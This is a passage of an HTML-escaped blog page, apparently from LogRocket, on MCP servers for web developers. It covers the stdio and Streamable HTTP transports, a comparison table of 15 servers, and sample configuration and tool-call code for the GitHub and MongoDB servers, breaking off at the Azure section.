        &lt;ul data-toc-name=&quot;aws-mcp-server-cloud-infrastructure-management&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#cloud-management-applications&quot;&gt;Cloud management applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;cloud-management-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#netlify-mcp-server-deployment-and-management&quot;&gt;How do you deploy projects with the Netlify MCP server?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;netlify-mcp-server-deployment-and-management&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#deployment-use-cases&quot;&gt;Deployment use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;deployment-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#prisma-mcp-server-database-schema-and-orm-management&quot;&gt;What can the Prisma MCP server do?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;prisma-mcp-server-database-schema-and-orm-management&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#database-development-applications&quot;&gt;Database development applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;database-development-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#sentry-mcp-server-error-monitoring-and-debugging&quot;&gt;How does the Sentry MCP server help with debugging?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sentry-mcp-server-error-monitoring-and-debugging&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#debugging-use-cases&quot;&gt;Debugging use cases&lt;/a&gt;
        &lt;ul data-toc-name=&quot;debugging-use-cases&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#playwright-mcp-server-end-to-end-testing-automation&quot;&gt;&lt;strong&gt;How do you automate browser testing with the Playwright MCP server?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;playwright-mcp-server-end-to-end-testing-automation&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#testing-workflow-applications&quot;&gt;Testing workflow applications&lt;/a&gt;
        &lt;ul data-toc-name=&quot;testing-workflow-applications&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#security-and-implementation-best-practices&quot;&gt;How do you secure MCP servers?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;security-and-implementation-best-practices&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#frequently-asked-questions&quot;&gt;Frequently asked questions&lt;/a&gt;
        &lt;ul data-toc-name=&quot;frequently-asked-questions&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#is-sse-still-supported-in-mcp&quot;&gt;Is SSE still supported in MCP?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;is-sse-still-supported-in-mcp&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#what-is-the-difference-between-stdio-and-streamable-http&quot;&gt;What is the difference between stdio and Streamable HTTP?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-the-difference-between-stdio-and-streamable-http&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#are-mcp-servers-free&quot;&gt;Are MCP servers free?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;are-mcp-servers-free&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#do-i-still-need-a-personal-access-token-or-can-i-use-oauth&quot;&gt;Do I still need a personal access token, or can I use OAuth?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;do-i-still-need-a-personal-access-token-or-can-i-use-oauth&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#how-many-mcp-servers-should-i-run-at-once&quot;&gt;How many MCP servers should I run at once?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-many-mcp-servers-should-i-run-at-once&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#which-mcp-servers-should-i-install-first&quot;&gt;Which MCP servers should I install first?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;which-mcp-servers-should-i-install-first&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/top-15-mcp-servers-ai-projects/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;The Model Context Protocol (MCP) has settled into its role as the standard way to connect AI models to external tools and data. It is now backed by the Agentic AI Foundation under the Linux Foundation, with Anthropic, OpenAI, Google, and Microsoft on the board, and it powers everything from file system access and API integrations to database queries and automated workflows across clients like Claude Desktop, Claude Code, Cursor, and VS Code.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Top-15-MCP-server.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Top-15-MCP-server.png 895w, https://blog.logrocket.com/wp-content/uploads/2025/07/Top-15-MCP-server-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2025/07/Top-15-MCP-server-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;This guide walks through 15 essential MCP servers for web developers, with current setup steps, use cases, and the config you actually need. For a full walkthrough on getting started with MCP servers, check out &lt;a href=&quot;https://blog.logrocket.com/understanding-anthropic-model-context-protocol-mcp/&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;mcp-transports-stdio-and-streamable-http&quot;&gt;&lt;strong data-start=&quot;347&quot; data-end=&quot;410&quot;&gt;What is the difference between stdio and Streamable HTTP?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;MCP servers speak JSON-RPC over a transport. Early remote servers used an HTTP+SSE transport that required two endpoints: a long-lived &lt;code&gt;GET /sse&lt;/code&gt; stream for server-to-client messages and a separate &lt;code&gt;POST&lt;/code&gt; endpoint for requests. That design was fragile behind load balancers and serverless platforms, and it was deprecated in the 2025 spec revision in favor of Streamable HTTP, which uses a single endpoint (typically &lt;code&gt;/mcp&lt;/code&gt;) that can optionally upgrade to an SSE stream for long-running calls. With the current stable spec, only two transports are recognized: stdio for local servers, the client launches as a subprocess, and Streamable HTTP for anything remote or multi-client.&lt;/p&gt;
&lt;p&gt;Two more things worth knowing. Remote servers have largely standardized on OAuth 2.1, replacing hand-rolled token flows, and now support a browser-based sign-in. There is ongoing work to make the protocol fully stateless, but it is not final yet. For more details, refer to the &lt;a href=&quot;https://modelcontextprotocol.io/docs/getting-started/intro&quot;&gt;official MCP documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Below is a comparison table of the 15 servers this guide covers, showing their transports, authentication, and hosting at a glance.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Server Name&lt;/th&gt;
&lt;th&gt;Primary Use Case&lt;/th&gt;
&lt;th&gt;Key Features&lt;/th&gt;
&lt;th&gt;Installation Method&lt;/th&gt;
&lt;th&gt;Authentication&lt;/th&gt;
&lt;th&gt;Transport&lt;/th&gt;
&lt;th&gt;Official vs Community&lt;/th&gt;
&lt;th&gt;Pricing/Free Tier&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub MCP Server&lt;/td&gt;
&lt;td&gt;Code automation &amp;amp; analysis&lt;/td&gt;
&lt;td&gt;Pull requests, code scanning, repo management&lt;/td&gt;
&lt;td&gt;Remote endpoint or Docker&lt;/td&gt;
&lt;td&gt;OAuth 2.1 or PAT&lt;/td&gt;
&lt;td&gt;Streamable HTTP (remote), stdio (local)&lt;/td&gt;
&lt;td&gt;Official (GitHub)&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MongoDB MCP Server&lt;/td&gt;
&lt;td&gt;Database operations&lt;/td&gt;
&lt;td&gt;NL queries, Atlas management, schema ops&lt;/td&gt;
&lt;td&gt;npx package or Docker&lt;/td&gt;
&lt;td&gt;Connection string or Atlas service account&lt;/td&gt;
&lt;td&gt;stdio (default), HTTP option&lt;/td&gt;
&lt;td&gt;Official (MongoDB)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure MCP Server&lt;/td&gt;
&lt;td&gt;Cloud service integration&lt;/td&gt;
&lt;td&gt;Storage, Cosmos DB, Log Analytics, App Config&lt;/td&gt;
&lt;td&gt;npx package&lt;/td&gt;
&lt;td&gt;Azure credentials (automatic)&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;td&gt;Official (Microsoft)&lt;/td&gt;
&lt;td&gt;Pay-per-use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Context7 MCP Server&lt;/td&gt;
&lt;td&gt;Live library documentation&lt;/td&gt;
&lt;td&gt;Version-specific docs injected into context&lt;/td&gt;
&lt;td&gt;npx package or remote endpoint&lt;/td&gt;
&lt;td&gt;None, or API key header (higher limits)&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;td&gt;Community (Upstash)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare MCP Server&lt;/td&gt;
&lt;td&gt;Edge computing &amp;amp; CDN&lt;/td&gt;
&lt;td&gt;Workers, observability, Radar, full API via Code Mode&lt;/td&gt;
&lt;td&gt;Remote endpoints or mcp-remote&lt;/td&gt;
&lt;td&gt;OAuth or API token&lt;/td&gt;
&lt;td&gt;Streamable HTTP (&lt;code&gt;/mcp&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Official (Cloudflare)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Firebase MCP Server&lt;/td&gt;
&lt;td&gt;Backend-as-a-Service&lt;/td&gt;
&lt;td&gt;Firestore, Auth, Cloud Functions, project mgmt&lt;/td&gt;
&lt;td&gt;npx (firebase-tools mcp)&lt;/td&gt;
&lt;td&gt;Firebase CLI auth&lt;/td&gt;
&lt;td&gt;stdio&lt;/td&gt;
&lt;td&gt;Official (Google)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google Cloud Run MCP Server&lt;/td&gt;
&lt;td&gt;Serverless deployment&lt;/td&gt;
&lt;td&gt;Container deploy, service &amp;amp; project management&lt;/td&gt;
&lt;td&gt;npx (@google-cloud/cloud-run-mcp)&lt;/td&gt;
&lt;td&gt;Google Cloud SDK / OAuth&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;td&gt;Official (Google)&lt;/td&gt;
&lt;td&gt;Pay-per-use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JetBrains MCP Server&lt;/td&gt;
&lt;td&gt;IDE integration&lt;/td&gt;
&lt;td&gt;Code intelligence, project analysis via IDE proxy&lt;/td&gt;
&lt;td&gt;npx package + IDE plugin&lt;/td&gt;
&lt;td&gt;None (local IDE connection)&lt;/td&gt;
&lt;td&gt;stdio&lt;/td&gt;
&lt;td&gt;Official (JetBrains)&lt;/td&gt;
&lt;td&gt;Free with IDE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker MCP Server&lt;/td&gt;
&lt;td&gt;Container management&lt;/td&gt;
&lt;td&gt;Catalog of containerized servers, MCP Gateway&lt;/td&gt;
&lt;td&gt;Docker Desktop MCP Toolkit&lt;/td&gt;
&lt;td&gt;None (Docker daemon) or per-server&lt;/td&gt;
&lt;td&gt;stdio via Gateway&lt;/td&gt;
&lt;td&gt;Official (Docker)&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Figma MCP Server&lt;/td&gt;
&lt;td&gt;Design-to-code automation&lt;/td&gt;
&lt;td&gt;Design context, code generation, Code Connect&lt;/td&gt;
&lt;td&gt;Remote endpoint or desktop app&lt;/td&gt;
&lt;td&gt;OAuth (remote)&lt;/td&gt;
&lt;td&gt;Streamable HTTP&lt;/td&gt;
&lt;td&gt;Official (Figma)&lt;/td&gt;
&lt;td&gt;Remote on all plans; some features paid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS MCP Server&lt;/td&gt;
&lt;td&gt;Cloud infrastructure&lt;/td&gt;
&lt;td&gt;Managed remote server (15k+ APIs) plus specialized awslabs servers&lt;/td&gt;
&lt;td&gt;Managed endpoint via proxy, or uvx&lt;/td&gt;
&lt;td&gt;IAM / SigV4&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;td&gt;Official (AWS)&lt;/td&gt;
&lt;td&gt;Pay-per-use&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netlify MCP Server&lt;/td&gt;
&lt;td&gt;Deployment &amp;amp; management&lt;/td&gt;
&lt;td&gt;Site deploy, project management, CLI integration&lt;/td&gt;
&lt;td&gt;npx package&lt;/td&gt;
&lt;td&gt;Netlify CLI auth or PAT&lt;/td&gt;
&lt;td&gt;stdio&lt;/td&gt;
&lt;td&gt;Official (Netlify)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prisma MCP Server&lt;/td&gt;
&lt;td&gt;Database schema &amp;amp; ORM&lt;/td&gt;
&lt;td&gt;Postgres management, migrations, Console integration&lt;/td&gt;
&lt;td&gt;Prisma CLI&lt;/td&gt;
&lt;td&gt;Prisma Console auth&lt;/td&gt;
&lt;td&gt;stdio&lt;/td&gt;
&lt;td&gt;Official (Prisma)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sentry MCP Server&lt;/td&gt;
&lt;td&gt;Error monitoring &amp;amp; debugging&lt;/td&gt;
&lt;td&gt;Issue retrieval, stack traces, Seer root-cause analysis&lt;/td&gt;
&lt;td&gt;Remote endpoint or npx&lt;/td&gt;
&lt;td&gt;OAuth 2.1&lt;/td&gt;
&lt;td&gt;Streamable HTTP (remote), stdio (local)&lt;/td&gt;
&lt;td&gt;Official (Sentry)&lt;/td&gt;
&lt;td&gt;Free tier available&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Playwright MCP Server&lt;/td&gt;
&lt;td&gt;E2E testing automation&lt;/td&gt;
&lt;td&gt;Accessibility-tree automation, cross-browser testing&lt;/td&gt;
&lt;td&gt;npx package&lt;/td&gt;
&lt;td&gt;None (local browser)&lt;/td&gt;
&lt;td&gt;stdio, Streamable HTTP&lt;/td&gt;
&lt;td&gt;Official (Microsoft)&lt;/td&gt;
&lt;td&gt;Free&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Which MCP servers should you install first?&lt;/h2&gt;
&lt;p&gt;If you’re just getting started with MCP, begin with GitHub, MCP, Context7, and Playwright. They provide repository context, up-to-date documentation, and browser automation, covering the majority of developer workflows. From there, add cloud, database, or monitoring servers as your projects require them.&lt;/p&gt;
&lt;p&gt;Below are the 15 MCP servers every web developer should know.&lt;/p&gt;
&lt;h2 id=&quot;github-mcp-server-code-automation-and-analysis&quot;&gt;What can the GitHub MCP server do?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/github.png&quot; alt=&quot;Github Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/github/github-mcp-server&quot;&gt;GitHub MCP server&lt;/a&gt; lets AI models analyze code, manage repositories, and drive development workflows through natural language. GitHub runs a hosted remote server that lives at &lt;code&gt;&lt;a href=&quot;https://api.githubcopilot.com/mcp/&quot;&gt;https://api.githubcopilot.com/mcp/&lt;/a&gt;&lt;/code&gt; and authenticates with OAuth 2.1 plus PKCE, which means short-lived credentials and automatic token refresh instead of a long-lived personal access token. Here is the remote configuration:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;servers&quot;: {
    &quot;github&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://api.githubcopilot.com/mcp/&quot;
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Most clients will trigger a browser-based OAuth login on first use. If you prefer a token, you can still pass a PAT as a bearer header, and it takes precedence over OAuth:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;servers&quot;: {
    &quot;github&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://api.githubcopilot.com/mcp/&quot;,
      &quot;headers&quot;: {
        &quot;Authorization&quot;: &quot;Bearer ${input:github_mcp_pat}&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;The local server runs in Docker and is the right choice for GitHub Enterprise Server, which does not host the remote endpoint.&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcp&quot;: {
    &quot;inputs&quot;: [
      {
        &quot;type&quot;: &quot;promptString&quot;,
        &quot;id&quot;: &quot;github_token&quot;,
        &quot;description&quot;: &quot;GitHub Personal Access Token&quot;,
        &quot;password&quot;: true
      }
    ],
    &quot;servers&quot;: {
      &quot;github&quot;: {
        &quot;command&quot;: &quot;docker&quot;,
        &quot;args&quot;: [
          &quot;run&quot;, &quot;-i&quot;, &quot;--rm&quot;, &quot;-e&quot;, &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;,
          &quot;ghcr.io/github/github-mcp-server&quot;
        ],
        &quot;env&quot;: {
          &quot;GITHUB_PERSONAL_ACCESS_TOKEN&quot;: &quot;${input:github_token}&quot;
        }
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;You can scope what the server exposes with the &lt;code&gt;--toolsets&lt;/code&gt; flag, and the server offers a read-only mode via the &lt;code&gt;--read-only&lt;/code&gt; flag (or &lt;code&gt;GITHUB_READ_ONLY=1&lt;/code&gt; in Docker), which is useful for code review workflows where you want context without write access.&lt;/p&gt;
&lt;h3 id=&quot;sample-use-cases&quot;&gt;Sample use cases&lt;/h3&gt;
&lt;p&gt;Teams use it for pull request management, issue tracking driven by repository activity, and code scanning triage, where the model reviews alerts and suggests remediation. The GA remote server also added security advisory lookups, sub-issue management, and PR draft toggling.&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;const prWorkflow = async (client) =&amp;gt; {
 const pr = await client.callTool({
   name: &#39;create_pull_request&#39;,
   arguments: {
     owner: &#39;owner&#39;,
     repo: &#39;repo&#39;,
     title: &#39;Automated feature update&#39;,
     head: &#39;branch&#39;,
     base: &#39;main&#39;
   }
 });

 const alerts = await client.callTool({
   name: &#39;list_code_scanning_alerts&#39;,
   arguments: { owner: &#39;owner&#39;, repo: &#39;repo&#39; }
 });

 return { pullRequest: pr, securityAlerts: alerts };
};&lt;/pre&gt;
&lt;h2 id=&quot;mongodb-mcp-server-natural-language-database-operations&quot;&gt;What can the MongoDB MCP server do?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/MongoDB.png&quot; alt=&quot;MongoDB Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/mongodb-js/mongodb-mcp-server&quot;&gt;MongoDB MCP server&lt;/a&gt; enables natural language queries and data exploration against MongoDB databases and Atlas clusters. It supports direct database operations like find, aggregate, insert, update, and delete, alongside Atlas management tools for cluster administration, user management, and project configuration.&lt;/p&gt;
&lt;p&gt;One thing to note: MongoDB recommends Node 22.13 or later, or the Docker image, which sidesteps Node entirely. If you use Claude Code, Codex, Cursor, or Gemini, MongoDB ships an official plugin bundle that includes the server plus prebuilt agent skills.&lt;/p&gt;
&lt;p&gt;The default transport is stdio. Here is a connection-string setup:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;MongoDB&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;mongodb-mcp-server@latest&quot;, &quot;--readOnly&quot;],
      &quot;env&quot;: {
        &quot;MDB_MCP_CONNECTION_STRING&quot;: &quot;mongodb+srv://username:&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;ccbcadbfbfbba3bea88cafa0b9bfb8a9bee2a1a3a2aba3a8aee2a2a9b8&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/myDatabase&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;Passing credentials through environment variables rather than command-line arguments is the recommended practice, since arguments can show up in process lists and logs. MongoDB ships every example with &lt;code&gt;--readOnly&lt;/code&gt; on by default; remove it only when you actually need writes.&lt;/p&gt;
&lt;p&gt;For Atlas management tools, authenticate with a service account:&lt;/p&gt;
&lt;pre class=&quot;language-json&quot;&gt;{
  &quot;mcpServers&quot;: {
    &quot;MongoDB&quot;: {
      &quot;command&quot;: &quot;npx&quot;,
      &quot;args&quot;: [&quot;-y&quot;, &quot;mongodb-mcp-server@latest&quot;, &quot;--readOnly&quot;],
      &quot;env&quot;: {
        &quot;MDB_MCP_API_CLIENT_ID&quot;: &quot;your-atlas-service-account-client-id&quot;,
        &quot;MDB_MCP_API_CLIENT_SECRET&quot;: &quot;your-atlas-service-account-client-secret&quot;
      }
    }
  }
}&lt;/pre&gt;
&lt;p&gt;It also includes Performance Advisor tools that surface suggested indexes, unified index creation that handles both regular and vector search indexes, and local cluster management so the server can spin up a MongoDB instance without a separate install.&lt;/p&gt;
&lt;h3 id=&quot;sample-applications&quot;&gt;Sample applications&lt;/h3&gt;
&lt;p&gt;E-commerce platforms run aggregation pipelines over customer behavior data to generate recommendations.&lt;/p&gt;

&lt;pre class=&quot;language-javascript&quot;&gt;const productAnalysis = await client.callTool({
 name: &#39;aggregate&#39;,
 arguments: {
   collection: &#39;products&#39;,
   pipeline: [
     { $match: { stock: { $lt: 10 } } },
     { $lookup: { from: &#39;orders&#39;, localField: &#39;_id&#39;, foreignField: &#39;productId&#39;, as: &#39;orders&#39; } },
     { $addFields: { orderCount: { $size: &#39;$orders&#39; } } },
     { $sort: { orderCount: -1 } }
   ]
 }
});&lt;/pre&gt;
&lt;h2 id=&quot;azure-mcp-server-cloud-service-integration&quot;&gt;How does the Azure MCP server work?&lt;/h2&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2025/07/Azure-Logo.png&quot; alt=&quot;Azure Logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
